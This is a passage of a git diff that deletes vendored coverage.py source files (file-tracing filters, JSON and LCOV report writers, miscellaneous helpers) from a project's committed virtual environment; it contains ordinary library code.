add_stdlib_paths(self.pylib_paths) - - # To avoid tracing the coverage.py code itself, we skip anything - # located where we are. - self.cover_paths: set[str] = set() - add_coverage_paths(self.cover_paths) - - # Find where third-party packages are installed. - self.third_paths: set[str] = set() - add_third_party_paths(self.third_paths) - - def _debug(msg: str) -> None: - if self.debug: - self.debug.write(msg) - - # The matchers for should_trace. - - # Generally useful information - _debug("sys.path:" + "".join(f"\n {p}" for p in sys.path)) - - # Create the matchers we need for should_trace - self.source_match = None - self.source_pkgs_match = None - self.pylib_match = None - self.include_match = self.omit_match = None - - if self.source_dirs or self.source_pkgs: - against = [] - if self.source_dirs: - self.source_match = TreeMatcher(self.source_dirs, "source") - against.append(f"trees {self.source_match!r}") - if self.source_pkgs: - self.source_pkgs_match = ModuleMatcher(self.source_pkgs, "source_pkgs") - against.append(f"modules {self.source_pkgs_match!r}") - _debug("Source matching against " + " and ".join(against)) - else: - if self.pylib_paths: - self.pylib_match = TreeMatcher(self.pylib_paths, "pylib") - _debug(f"Python stdlib matching: {self.pylib_match!r}") - if self.include: - self.include_match = GlobMatcher(self.include, "include") - _debug(f"Include matching: {self.include_match!r}") - if self.omit: - self.omit_match = GlobMatcher(self.omit, "omit") - _debug(f"Omit matching: {self.omit_match!r}") - - self.cover_match = TreeMatcher(self.cover_paths, "coverage") - _debug(f"Coverage code matching: {self.cover_match!r}") - - self.third_match = TreeMatcher(self.third_paths, "third") - _debug(f"Third-party lib matching: {self.third_match!r}") - - # Check if the source we want to measure has been installed as a - # third-party package. - # Is the source inside a third-party area? - self.source_in_third_paths = set() - with sys_modules_saved(): - for pkg in self.source_pkgs: - try: - modfile, path = file_and_path_for_module(pkg) - _debug(f"Imported source package {pkg!r} as {modfile!r}") - except CoverageException as exc: - _debug(f"Couldn't import source package {pkg!r}: {exc}") - continue - if modfile: - if self.third_match.match(modfile): - _debug( - f"Source in third-party: source_pkg {pkg!r} at {modfile!r}", - ) - self.source_in_third_paths.add(canonical_path(source_for_file(modfile))) - else: - for pathdir in path: - if self.third_match.match(pathdir): - _debug( - f"Source in third-party: {pkg!r} path directory at {pathdir!r}", - ) - self.source_in_third_paths.add(pathdir) - - for src in self.source_dirs: - if self.third_match.match(src): - _debug(f"Source in third-party: source directory {src!r}") - self.source_in_third_paths.add(src) - self.source_in_third_match = TreeMatcher(self.source_in_third_paths, "source_in_third") - _debug(f"Source in third-party matching: {self.source_in_third_match}") - - self.plugins: Plugins - self.disp_class: type[TFileDisposition] = FileDisposition - - def should_trace(self, filename: str, frame: FrameType | None = None) -> TFileDisposition: - """Decide whether to trace execution in `filename`, with a reason. - - This function is called from the trace function. As each new file name - is encountered, this function determines whether it is traced or not. - - Returns a FileDisposition object. - - """ - original_filename = filename - disp = disposition_init(self.disp_class, filename) - - def nope(disp: TFileDisposition, reason: str) -> TFileDisposition: - """Simple helper to make it easy to return NO.""" - disp.trace = False - disp.reason = reason - return disp - - if original_filename.startswith("<"): - return nope(disp, "original file name is not real") - - if frame is not None: - # Compiled Python files have two file names: frame.f_code.co_filename is - # the file name at the time the .pyc was compiled. The second name is - # __file__, which is where the .pyc was actually loaded from. Since - # .pyc files can be moved after compilation (for example, by being - # installed), we look for __file__ in the frame and prefer it to the - # co_filename value. - dunder_file = frame.f_globals and frame.f_globals.get("__file__") - if dunder_file: - # Danger: __file__ can (rarely?) be of type Path. - filename = source_for_file(str(dunder_file)) - if original_filename and not original_filename.startswith("<"): - orig = os.path.basename(original_filename) - if orig != os.path.basename(filename): - # Files shouldn't be renamed when moved. This happens when - # exec'ing code. If it seems like something is wrong with - # the frame's file name, then just use the original. - filename = original_filename - - if not filename: - # Empty string is pretty useless. - return nope(disp, "empty string isn't a file name") - - if filename.startswith("memory:"): - return nope(disp, "memory isn't traceable") - - if filename.startswith("<"): - # Lots of non-file execution is represented with artificial - # file names like "", "", or - # "". Don't ever trace these executions, since we - # can't do anything with the data later anyway. - return nope(disp, "file name is not real") - - canonical = canonical_filename(filename) - disp.canonical_filename = canonical - - # Try the plugins, see if they have an opinion about the file. - plugin = None - for plugin in self.plugins.file_tracers: - if not plugin._coverage_enabled: - continue - - try: - file_tracer = plugin.file_tracer(canonical) - if file_tracer is not None: - file_tracer._coverage_plugin = plugin - disp.trace = True - disp.file_tracer = file_tracer - if file_tracer.has_dynamic_source_filename(): - disp.has_dynamic_filename = True - else: - disp.source_filename = canonical_filename( - file_tracer.source_filename(), - ) - break - except Exception: - plugin_name = plugin._coverage_plugin_name - tb = traceback.format_exc() - self.warn(f"Disabling plug-in {plugin_name!r} due to an exception:\n{tb}") - plugin._coverage_enabled = False - continue - else: - # No plugin wanted it: it's Python. - disp.trace = True - disp.source_filename = canonical - - if not disp.has_dynamic_filename: - if not disp.source_filename: - raise PluginError( - f"Plugin {plugin!r} didn't set source_filename for '{disp.original_filename}'", - ) - reason = self.check_include_omit_etc(disp.source_filename, frame) - if reason: - nope(disp, reason) - - return disp - - def check_include_omit_etc(self, filename: str, frame: FrameType | None) -> str | None: - """Check a file name against the include, omit, etc, rules. - - Returns a string or None. String means, don't trace, and is the reason - why. None means no reason found to not trace. - - """ - modulename = name_for_module(filename, frame) - - # If the user specified source or include, then that's authoritative - # about the outer bound of what to measure and we don't have to apply - # any canned exclusions. If they didn't, then we have to exclude the - # stdlib and coverage.py directories. - if self.source_match or self.source_pkgs_match: - extra = "" - ok = False - if self.source_pkgs_match: - if isinstance(modulename, str) and self.source_pkgs_match.match(modulename): - ok = True - if modulename in self.source_pkgs_unmatched: - self.source_pkgs_unmatched.remove(modulename) - else: - extra = f"module {modulename!r} " - if not ok and self.source_match: - if self.source_match.match(filename): - ok = True - if not ok: - return extra + "falls outside the --source spec" - if self.third_match.match(filename) and not self.source_in_third_match.match(filename): - return "inside --source, but is third-party" - elif self.include_match: - if not self.include_match.match(filename): - return "falls outside the --include trees" - else: - # We exclude the coverage.py code itself, since a little of it - # will be measured otherwise. - if self.cover_match.match(filename): - return "is part of coverage.py" - - # If we aren't supposed to trace installed code, then check if this - # is near the Python standard library and skip it if so. - if self.pylib_match and self.pylib_match.match(filename): - return "is in the stdlib" - - # Exclude anything in the third-party installation areas. - if self.third_match.match(filename): - return "is a third-party module" - - # Check the file against the omit pattern. - if self.omit_match and self.omit_match.match(filename): - return "is inside an --omit pattern" - - # No point tracing a file we can't later write to SQLite. - try: - filename.encode("utf-8") - except UnicodeEncodeError: - return "non-encodable filename" - - # No reason found to skip this file. - return None - - def warn_conflicting_settings(self) -> None: - """Warn if there are settings that conflict.""" - if self.include: - if self.source_dirs or self.source_pkgs: - self.warn("--include is ignored because --source is set", slug="include-ignored") - - def warn_already_imported_files(self) -> None: - """Warn if files have already been imported that we will be measuring.""" - if self.include or self.source_dirs or self.source_pkgs: - warned = set() - for mod in list(sys.modules.values()): - filename = getattr(mod, "__file__", None) - if filename is None: - continue - if filename in warned: - continue - - if len(getattr(mod, "__path__", ())) > 1: - # A namespace package, which confuses this code, so ignore it. - continue - - disp = self.should_trace(filename) - if disp.has_dynamic_filename: - # A plugin with dynamic filenames: the Python file - # shouldn't cause a warning, since it won't be the subject - # of tracing anyway. - continue - if disp.trace: - msg = f"Already imported a file that will be measured: {filename}" - self.warn(msg, slug="already-imported") - warned.add(filename) - elif self.debug and self.debug.should("trace"): - self.debug.write( - "Didn't trace already imported file {!r}: {}".format( - disp.original_filename, disp.reason, - ), - ) - - def warn_unimported_source(self) -> None: - """Warn about source packages that were of interest, but never traced.""" - for pkg in self.source_pkgs_unmatched: - self._warn_about_unmeasured_code(pkg) - - def _warn_about_unmeasured_code(self, pkg: str) -> None: - """Warn about a package or module that we never traced. - - `pkg` is a string, the name of the package or module. - - """ - mod = sys.modules.get(pkg) - if mod is None: - self.warn(f"Module {pkg} was never imported.", slug="module-not-imported") - return - - if module_is_namespace(mod): - # A namespace package. It's OK for this not to have been traced, - # since there is no code directly in it. - return - - if not module_has_file(mod): - self.warn(f"Module {pkg} has no Python source.", slug="module-not-python") - return - - # The module was in sys.modules, and seems like a module with code, but - # we never measured it. I guess that means it was imported before - # coverage even started. - msg = f"Module {pkg} was previously imported, but not measured" - self.warn(msg, slug="module-not-measured") - - def find_possibly_unexecuted_files(self) -> Iterable[tuple[str, str | None]]: - """Find files in the areas of interest that might be untraced. - - Yields pairs: file path, and responsible plug-in name. - """ - for pkg in self.source_pkgs: - if (pkg not in sys.modules or - not module_has_file(sys.modules[pkg])): - continue - pkg_file = source_for_file(cast(str, sys.modules[pkg].__file__)) - yield from self._find_executable_files(canonical_path(pkg_file)) - - for src in self.source_dirs: - yield from self._find_executable_files(src) - - def _find_plugin_files(self, src_dir: str) -> Iterable[tuple[str, str]]: - """Get executable files from the plugins.""" - for plugin in self.plugins.file_tracers: - for x_file in plugin.find_executable_files(src_dir): - yield x_file, plugin._coverage_plugin_name - - def _find_executable_files(self, src_dir: str) -> Iterable[tuple[str, str | None]]: - """Find executable files in `src_dir`. - - Search for files in `src_dir` that can be executed because they - are probably importable. Don't include ones that have been omitted - by the configuration. - - Yield the file path, and the plugin name that handles the file. - - """ - py_files = ( - (py_file, None) for py_file in - find_python_files(src_dir, self.include_namespace_packages) - ) - plugin_files = self._find_plugin_files(src_dir) - - for file_path, plugin_name in itertools.chain(py_files, plugin_files): - file_path = canonical_filename(file_path) - if self.omit_match and self.omit_match.match(file_path): - # Turns out this file was omitted, so don't pull it back - # in as un-executed. - continue - yield file_path, plugin_name - - def sys_info(self) -> Iterable[tuple[str, Any]]: - """Our information for Coverage.sys_info. - - Returns a list of (key, value) pairs. - """ - info = [ - ("coverage_paths", self.cover_paths), - ("stdlib_paths", self.pylib_paths), - ("third_party_paths", self.third_paths), - ("source_in_third_party_paths", self.source_in_third_paths), - ] - - matcher_names = [ - "source_match", "source_pkgs_match", - "include_match", "omit_match", - "cover_match", "pylib_match", "third_match", "source_in_third_match", - ] - - for matcher_name in matcher_names: - matcher = getattr(self, matcher_name) - if matcher: - matcher_info = matcher.info() - else: - matcher_info = "-none-" - info.append((matcher_name, matcher_info)) - - return info diff --git a/backend/venv/Lib/site-packages/coverage/jsonreport.py b/backend/venv/Lib/site-packages/coverage/jsonreport.py deleted file mode 100644 index 00053ebf..00000000 --- a/backend/venv/Lib/site-packages/coverage/jsonreport.py +++ /dev/null @@ -1,179 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Json reporting for coverage.py""" - -from __future__ import annotations - -import datetime -import json -import sys - -from collections.abc import Iterable -from typing import Any, IO, TYPE_CHECKING - -from coverage import __version__ -from coverage.report_core import get_analysis_to_report -from coverage.results import Analysis, Numbers -from coverage.types import TMorf, TLineNo - -if TYPE_CHECKING: - from coverage import Coverage - from coverage.data import CoverageData - from coverage.plugin import FileReporter - - -# A type for data that can be JSON-serialized. -JsonObj = dict[str, Any] - -# "Version 1" had no format number at all. -# 2: add the meta.format field. -# 3: add region information (functions, classes) -FORMAT_VERSION = 3 - -class JsonReporter: - """A reporter for writing JSON coverage results.""" - - report_type = "JSON report" - - def __init__(self, coverage: Coverage) -> None: - self.coverage = coverage - self.config = self.coverage.config - self.total = Numbers(self.config.precision) - self.report_data: JsonObj = {} - - def make_summary(self, nums: Numbers) -> JsonObj: - """Create a dict summarizing `nums`.""" - return { - "covered_lines": nums.n_executed, - "num_statements": nums.n_statements, - "percent_covered": nums.pc_covered, - "percent_covered_display": nums.pc_covered_str, - "missing_lines": nums.n_missing, - "excluded_lines": nums.n_excluded, - } - - def make_branch_summary(self, nums: Numbers) -> JsonObj: - """Create a dict summarizing the branch info in `nums`.""" - return { - "num_branches": nums.n_branches, - "num_partial_branches": nums.n_partial_branches, - "covered_branches": nums.n_executed_branches, - "missing_branches": nums.n_missing_branches, - } - - def report(self, morfs: Iterable[TMorf] | None, outfile: IO[str]) -> float: - """Generate a json report for `morfs`. - - `morfs` is a list of modules or file names. - - `outfile` is a file object to write the json to. - - """ - outfile = outfile or sys.stdout - coverage_data = self.coverage.get_data() - coverage_data.set_query_contexts(self.config.report_contexts) - self.report_data["meta"] = { - "format": FORMAT_VERSION, - "version": __version__, - "timestamp": datetime.datetime.now().isoformat(), - "branch_coverage": coverage_data.has_arcs(), - "show_contexts": self.config.json_show_contexts, - } - - measured_files = {} - for file_reporter, analysis in get_analysis_to_report(self.coverage, morfs): - measured_files[file_reporter.relative_filename()] = self.report_one_file( - coverage_data, - analysis, - file_reporter, - ) - - self.report_data["files"] = measured_files - self.report_data["totals"] = self.make_summary(self.total) - - if coverage_data.has_arcs(): - self.report_data["totals"].update(self.make_branch_summary(self.total)) - - json.dump( - self.report_data, - outfile, - indent=(4 if self.config.json_pretty_print else None), - ) - - return self.total.n_statements and self.total.pc_covered - - def report_one_file( - self, coverage_data: CoverageData, analysis: Analysis, file_reporter: FileReporter - ) -> JsonObj: - """Extract the relevant report data for a single file.""" - nums = analysis.numbers - self.total += nums - summary = self.make_summary(nums) - reported_file: JsonObj = { - "executed_lines": sorted(analysis.executed), - "summary": summary, - "missing_lines": sorted(analysis.missing), - "excluded_lines": sorted(analysis.excluded), - } - if self.config.json_show_contexts: - reported_file["contexts"] = coverage_data.contexts_by_lineno(analysis.filename) - if coverage_data.has_arcs(): - summary.update(self.make_branch_summary(nums)) - reported_file["executed_branches"] = list( - _convert_branch_arcs(analysis.executed_branch_arcs()), - ) - reported_file["missing_branches"] = list( - _convert_branch_arcs(analysis.missing_branch_arcs()), - ) - - num_lines = len(file_reporter.source().splitlines()) - for noun, plural in file_reporter.code_region_kinds(): - reported_file[plural] = region_data = {} - outside_lines = set(range(1, num_lines + 1)) - for region in file_reporter.code_regions(): - if region.kind != noun: - continue - outside_lines -= region.lines - region_data[region.name] = self.make_region_data( - coverage_data, - analysis.narrow(region.lines), - ) - - region_data[""] = self.make_region_data( - coverage_data, - analysis.narrow(outside_lines), - ) - return reported_file - - def make_region_data(self, coverage_data: CoverageData, narrowed_analysis: Analysis) -> JsonObj: - """Create the data object for one region of a file.""" - narrowed_nums = narrowed_analysis.numbers - narrowed_summary = self.make_summary(narrowed_nums) - this_region = { - "executed_lines": sorted(narrowed_analysis.executed), - "summary": narrowed_summary, - "missing_lines": sorted(narrowed_analysis.missing), - "excluded_lines": sorted(narrowed_analysis.excluded), - } - if self.config.json_show_contexts: - contexts = coverage_data.contexts_by_lineno(narrowed_analysis.filename) - this_region["contexts"] = contexts - if coverage_data.has_arcs(): - narrowed_summary.update(self.make_branch_summary(narrowed_nums)) - this_region["executed_branches"] = list( - _convert_branch_arcs(narrowed_analysis.executed_branch_arcs()), - ) - this_region["missing_branches"] = list( - _convert_branch_arcs(narrowed_analysis.missing_branch_arcs()), - ) - return this_region - - -def _convert_branch_arcs( - branch_arcs: dict[TLineNo, list[TLineNo]], -) -> Iterable[tuple[TLineNo, TLineNo]]: - """Convert branch arcs to a list of two-element tuples.""" - for source, targets in branch_arcs.items(): - for target in targets: - yield source, target diff --git a/backend/venv/Lib/site-packages/coverage/lcovreport.py b/backend/venv/Lib/site-packages/coverage/lcovreport.py deleted file mode 100644 index c8512cdf..00000000 --- a/backend/venv/Lib/site-packages/coverage/lcovreport.py +++ /dev/null @@ -1,221 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""LCOV reporting for coverage.py.""" - -from __future__ import annotations - -import base64 -import hashlib -import sys - -from typing import IO, TYPE_CHECKING -from collections.abc import Iterable - -from coverage.plugin import FileReporter -from coverage.report_core import get_analysis_to_report -from coverage.results import Analysis, Numbers -from coverage.types import TMorf - -if TYPE_CHECKING: - from coverage import Coverage - - -def line_hash(line: str) -> str: - """Produce a hash of a source line for use in the LCOV file.""" - # The LCOV file format optionally allows each line to be MD5ed as a - # fingerprint of the file. This is not a security use. Some security - # scanners raise alarms about the use of MD5 here, but it is a false - # positive. This is not a security concern. - # The unusual encoding of the MD5 hash, as a base64 sequence with the - # trailing = signs stripped, is specified by the LCOV file format. - hashed = hashlib.md5(line.encode("utf-8"), usedforsecurity=False).digest() - return base64.b64encode(hashed).decode("ascii").rstrip("=") - - -def lcov_lines( - analysis: Analysis, - lines: list[int], - source_lines: list[str], - outfile: IO[str], -) -> None: - """Emit line coverage records for an analyzed file.""" - hash_suffix = "" - for line in lines: - if source_lines: - hash_suffix = "," + line_hash(source_lines[line-1]) - # Q: can we get info about the number of times a statement is - # executed? If so, that should be recorded here. - hit = int(line not in analysis.missing) - outfile.write(f"DA:{line},{hit}{hash_suffix}\n") - - if analysis.numbers.n_statements > 0: - outfile.write(f"LF:{analysis.numbers.n_statements}\n") - outfile.write(f"LH:{analysis.numbers.n_executed}\n") - - -def lcov_functions( - fr: FileReporter, - file_analysis: Analysis, - outfile: IO[str], -) -> None: - """Emit function coverage records for an analyzed file.""" - # lcov 2.2 introduces a new format for function coverage records. - # We continue to generate the old format because we don't know what - # version of the lcov tools will be used to read this report. - - # "and region.lines" below avoids a crash due to a bug in PyPy 3.8 - # where, for whatever reason, when collecting data in --branch mode, - # top-level functions have an empty lines array. Instead we just don't - # emit function records for those. - - # suppressions because of https://github.com/pylint-dev/pylint/issues/9923 - functions = [ - (min(region.start, min(region.lines)), #pylint: disable=nested-min-max - max(region.start, max(region.lines)), #pylint: disable=nested-min-max - region) - for region in fr.code_regions() - if region.kind == "function" and region.lines - ] - if not functions: - return - - functions.sort() - functions_hit = 0 - for first_line, last_line, region in functions: - # A function counts as having been executed if any of it has been - # executed. - analysis = file_analysis.narrow(region.lines) - hit = int(analysis.numbers.n_executed > 0) - functions_hit += hit - - outfile.write(f"FN:{first_line},{last_line},{region.name}\n") - outfile.write(f"FNDA:{hit},{region.name}\n") - - outfile.write(f"FNF:{len(functions)}\n") - outfile.write(f"FNH:{functions_hit}\n") - - -def lcov_arcs( - fr: FileReporter, - analysis: Analysis, - lines: list[int], - outfile: IO[str], -) -> None: - """Emit branch coverage records for an analyzed file.""" - branch_stats = analysis.branch_stats() - executed_arcs = analysis.executed_branch_arcs() - missing_arcs = analysis.missing_branch_arcs() - - for line in lines: - if line not in branch_stats: - continue - - # This is only one of several possible ways to map our sets of executed - # and not-executed arcs to BRDA codes. It seems to produce reasonable - # results when fed through genhtml. - _, taken = branch_stats[line] - - if taken == 0: - # When _none_ of the out arcs from 'line' were executed, - # it can mean the line always raised an exception. - assert len(executed_arcs[line]) == 0 - destinations = [ - (dst, "-") for dst in missing_arcs[line] - ] - else: - # Q: can we get counts of the number of times each arc was executed? - # branch_stats has "total" and "taken" counts for each branch, - # but it doesn't have "taken" broken down by destination. - destinations = [ - (dst, "1") for dst in executed_arcs[line] - ] - destinations.extend( - (dst, "0") for dst in missing_arcs[line] - ) - - # Sort exit arcs after normal arcs. Exit arcs typically come from - # an if statement, at the end of a function, with no else clause. - # This structure reads like you're jumping to the end of the function - # when the conditional expression is false, so it should be presented - # as the second alternative for the branch, after the alternative that - # enters the if clause. - destinations.sort(key=lambda d: (d[0] < 0, d)) - - for dst, hit in destinations: - branch = fr.arc_description(line, dst) - outfile.write(f"BRDA:{line},0,{branch},{hit}\n") - - # Summary of the branch coverage. - brf = sum(t for t, k in branch_stats.values()) - brh = brf - sum(t - k for t, k in branch_stats.values()) - if brf > 0: - outfile.write(f"BRF:{brf}\n") - outfile.write(f"BRH:{brh}\n") - - -class LcovReporter: - """A reporter for writing LCOV coverage reports.""" - - report_type = "LCOV report" - - def __init__(self, coverage: Coverage) -> None: - self.coverage = coverage - self.config = coverage.config - self.total = Numbers(self.coverage.config.precision) - - def report(self, morfs: Iterable[TMorf] | None, outfile: IO[str]) -> float: - """Renders the full lcov report. - - `morfs` is a list of modules or filenames - - outfile is the file object to write the file into. - """ - - self.coverage.get_data() - outfile = outfile or sys.stdout - - # ensure file records are sorted by the _relative_ filename, not the full path - to_report = [ - (fr.relative_filename(), fr, analysis) - for fr, analysis in get_analysis_to_report(self.coverage, morfs) - ] - to_report.sort() - - for fname, fr, analysis in to_report: - self.total += analysis.numbers - self.lcov_file(fname, fr, analysis, outfile) - - return self.total.n_statements and self.total.pc_covered - - def lcov_file( - self, - rel_fname: str, - fr: FileReporter, - analysis: Analysis, - outfile: IO[str], - ) -> None: - """Produces the lcov data for a single file. - - This currently supports both line and branch coverage, - however function coverage is not supported. - """ - - if analysis.numbers.n_statements == 0: - if self.config.skip_empty: - return - - outfile.write(f"SF:{rel_fname}\n") - - lines = sorted(analysis.statements) - if self.config.lcov_line_checksums: - source_lines = fr.source().splitlines() - else: - source_lines = [] - - lcov_lines(analysis, lines, source_lines, outfile) - lcov_functions(fr, analysis, outfile) - if analysis.has_arcs: - lcov_arcs(fr, analysis, lines, outfile) - - outfile.write("end_of_record\n") diff --git a/backend/venv/Lib/site-packages/coverage/misc.py b/backend/venv/Lib/site-packages/coverage/misc.py deleted file mode 100644 index 32c91cca..00000000 --- a/backend/venv/Lib/site-packages/coverage/misc.py +++ /dev/null @@ -1,369 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Miscellaneous stuff for coverage.py.""" - -from __future__ import annotations - -import contextlib -import datetime -import errno -import functools -import hashlib -import importlib -import importlib.util -import inspect -import os -import os.path -import re -import sys -import types - -from types import ModuleType -from typing import ( - Any, NoReturn, TypeVar, -) -from collections.abc import Iterable, Iterator, Mapping, Sequence - -from coverage.exceptions import CoverageException -from coverage.types import TArc - -# In 6.0, the exceptions moved from misc.py to exceptions.py. But a number of -# other packages were importing the exceptions from misc, so import them here. -# pylint: disable=unused-wildcard-import -from coverage.exceptions import * # pylint: disable=wildcard-import - -ISOLATED_MODULES: dict[ModuleType, ModuleType] = {} - - -def isolate_module(mod: ModuleType) -> ModuleType: - """Copy a module so that we are isolated from aggressive mocking. - - If a test suite mocks os.path.exists (for example), and then we need to use - it during the test, everything will get tangled up if we use their mock. - Making a copy of the module when we import it will isolate coverage.py from - those complications. - """ - if mod not in ISOLATED_MODULES: - new_mod = types.ModuleType(mod.__name__) - ISOLATED_MODULES[mod] = new_mod - for name in dir(mod): - value = getattr(mod, name) - if isinstance(value, types.ModuleType): - value = isolate_module(value) - setattr(new_mod, name, value) - return ISOLATED_MODULES[mod] - -os = isolate_module(os) - - -class SysModuleSaver: - """Saves the contents of sys.modules, and removes new modules later.""" - def __init__(self) -> None: - self.old_modules = set(sys.modules) - - def restore(self) -> None: - """Remove any modules imported since this object started.""" - new_modules = set(sys.modules) - self.old_modules - for m in new_modules: - del sys.modules[m] - - -@contextlib.contextmanager -def sys_modules_saved() -> Iterator[None]: - """A context manager to remove any modules imported during a block.""" - saver = SysModuleSaver() - try: - yield - finally: - saver.restore() - - -def import_third_party(modname: str) -> tuple[ModuleType, bool]: - """Import a third-party module we need, but might not be installed. - - This also cleans out the module after the import, so that coverage won't - appear to have imported it. This lets the third party use coverage for - their own tests. - - Arguments: - modname (str): the name of the module to import. - - Returns: - The imported module, and a boolean indicating if the module could be imported. - - If the boolean is False, the module returned is not the one you want: don't use it. - - """ - with sys_modules_saved(): - try: - return importlib.import_module(modname), True - except ImportError: - return sys, False - - -def nice_pair(pair: TArc) -> str: - """Make a nice string representation of a pair of numbers. - - If the numbers are equal, just return the number, otherwise return the pair - with a dash between them, indicating the range. - - """ - start, end = pair - if start == end: - return "%d" % start - else: - return "%d-%d" % (start, end) - - -def bool_or_none(b: Any) -> bool | None: - """Return bool(b), but preserve None.""" - if b is None: - return None - else: - return bool(b) - - -def join_regex(regexes: Iterable[str]) -> str: - """Combine a series of regex strings into one that matches any of them.""" - regexes = list(regexes) - if len(regexes) == 1: - return regexes[0] - else: - return "|".join(f"(?:{r})" for r in regexes) - - -def file_be_gone(path: str) -> None: - """Remove a file, and don't get annoyed if it doesn't exist.""" - try: - os.remove(path) - except OSError as e: - if e.errno != errno.ENOENT: - raise - - -def ensure_dir(directory: str) -> None: - """Make sure the directory exists. - - If `directory` is None or empty, do nothing. - """ - if directory: - os.makedirs(directory, exist_ok=True) - - -def ensure_dir_for_file(path: str) -> None: - """Make sure the directory for the path exists.""" - ensure_dir(os.path.dirname(path)) - - -class Hasher: - """Hashes Python data for fingerprinting.""" - def __init__(self) -> None: - self.hash = hashlib.new("sha3_256", usedforsecurity=False) - - def update(self, v: Any) -> None: - """Add `v` to the hash, recursively if needed.""" - self.hash.update(str(type(v)).encode("utf-8")) - if isinstance(v, str): - self.hash.update(v.encode("utf-8")) - elif isinstance(v, bytes): - self.hash.update(v) - elif v is None: - pass - elif isinstance(v, (int, float)): - self.hash.update(str(v).encode("utf-8")) - elif isinstance(v, (tuple, list)): - for e in v: - self.update(e) - elif isinstance(v, dict): - keys = v.keys() - for k in sorted(keys): - self.update(k) - self.update(v[k]) - else: - for k in dir(v): - if k.startswith("__"): - continue - a = getattr(v, k) - if inspect.isroutine(a): - continue - self.update(k) - self.update(a) - self.hash.update(b".") - - def hexdigest(self) -> str: - """Retrieve the hex digest of the hash.""" - return self.hash.hexdigest()[:32] - - -def _needs_to_implement(that: Any, func_name: str) -> NoReturn: - """Helper to raise NotImplementedError in interface stubs.""" - if hasattr(that, "_coverage_plugin_name"): - thing = "Plugin" - name = that._coverage_plugin_name - else: - thing = "Class" - klass = that.__class__ - name = f"{klass.__module__}.{klass.__name__}" - - raise NotImplementedError( - f"{thing} {name!r} needs to implement {func_name}()", - ) - - -class DefaultValue: - """A sentinel object to use for unusual default-value needs. - - Construct with a string that will be used as the repr, for display in help - and Sphinx output. - - """ - def __init__(self, display_as: str) -> None: - self.display_as = display_as - - def __repr__(self) -> str: - return self.display_as - - -def substitute_variables(text: str, variables: Mapping[str, str]) -> str: - """Substitute ``${VAR}`` variables in `text` with their values. - - Variables in the text can take a number of shell-inspired forms:: - - $VAR - ${VAR} - ${VAR?} strict: an error if VAR isn't defined. - ${VAR-missing} defaulted: "missing" if VAR isn't defined. - $$ just a dollar sign. - - `variables` is a dictionary of variable values. - - Returns the resulting text with values substituted. - - """ - dollar_pattern = r"""(?x) # Use extended regex syntax - \$ # A dollar sign, - (?: # then - (?P \$ ) | # a dollar sign, or - (?P \w+ ) | # a plain word, or - \{ # a {-wrapped - (?P \w+ ) # word, - (?: # either - (?P \? ) | # with a strict marker - -(?P [^}]* ) # or a default value - )? # maybe. - } - ) - """ - - dollar_groups = ("dollar", "word1", "word2") - - def dollar_replace(match: re.Match[str]) -> str: - """Called for each $replacement.""" - # Only one of the dollar_groups will have matched, just get its text. - word = next(g for g in match.group(*dollar_groups) if g) # pragma: always breaks - if word == "$": - return "$" - elif word in variables: - return variables[word] - elif match["strict"]: - msg = f"Variable {word} is undefined: {text!r}" - raise CoverageException(msg) - else: - return match["defval"] - - text = re.sub(dollar_pattern, dollar_replace, text) - return text - - -def format_local_datetime(dt: datetime.datetime) -> str: - """Return a string with local timezone representing the date. - """ - return dt.astimezone().strftime("%Y-%m-%d %H:%M %z") - - -def import_local_file(modname: str, modfile: str | None = None) -> ModuleType: - """Import a local file as a module. - - Opens a file in the current directory named `modname`.py, imports it - as `modname`, and returns the module object. `modfile` is the file to - import if it isn't in the current directory. - - """ - if modfile is None: - modfile = modname + ".py" - spec = importlib.util.spec_from_file_location(modname, modfile) - assert spec is not None - mod = importlib.util.module_from_spec(spec) - sys.modules[modname] = mod - assert spec.loader is not None - spec.loader.exec_module(mod) - - return mod - - -@functools.cache -def _human_key(s: str) -> tuple[list[str | int], str]: - """Turn a string into a list of string and number chunks. - - "z23a" -> (["z", 23, "a"], "z23a") - - The original string is appended as a last value to ensure the - key is unique enough so that "x1y" and "x001y" can be distinguished. - """ - def tryint(s: str) -> str | int: - """If `s` is a number, return an int, else `s` unchanged.""" - try: - return int(s) - except ValueError: - return s - - return ([tryint(c) for c in re.split(r"(\d+)", s)], s) - -def human_sorted(strings: Iterable[str]) -> list[str]: - """Sort the given iterable of strings the way that humans expect. - - Numeric components in the strings are sorted as numbers. - - Returns the sorted list. - - """ - return sorted(strings, key=_human_key) - -SortableItem = TypeVar("SortableItem", bound=Sequence[Any]) - -def human_sorted_items( - items: Iterable[SortableItem], - reverse: bool = False, -) -> list[SortableItem]: - """Sort (string, ...) items the way humans expect. - - The elements of `items` can be any tuple/list. They'll be sorted by the - first element (a string), with ties broken by the remaining elements. - - Returns the sorted list of items. - """ - return sorted(items, key=lambda item: (_human_key(item[0]), *item[1:]), reverse=reverse) - - -def plural(n: int, thing: str = "", things: str = "") -> str: - """Pluralize a word. - - If n is 1, return thing. Otherwise return things, or thing+s. - """ - if n == 1: - return thing - else: - return things or (thing + "s") - - -def stdout_link(text: str, url: str) -> str: - """Format text+url as a clickable link for stdout. - - If attached to a terminal, use escape sequences. Otherwise, just return - the text. - """ - if hasattr(sys.stdout, "isatty") and sys.stdout.isatty(): - return f"\033]8;;{url}\a{text}\033]8;;\a" - else: - return text diff --git a/backend/venv/Lib/site-packages/coverage/multiproc.py b/backend/venv/Lib/site-packages/coverage/multiproc.py deleted file mode 100644 index 1ba33ad5..00000000 --- a/backend/venv/Lib/site-packages/coverage/multiproc.py +++ /dev/null @@ -1,115 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Monkey-patching to add multiprocessing support for coverage.py""" - -from __future__ import annotations - -import multiprocessing -import multiprocessing.process -import os -import os.path -import sys -import traceback - -from typing import Any - -from coverage.debug import DebugControl - -# An attribute that will be set on the module to indicate that it has been -# monkey-patched. -PATCHED_MARKER = "_coverage$patched" - - -OriginalProcess = multiprocessing.process.BaseProcess -original_bootstrap = 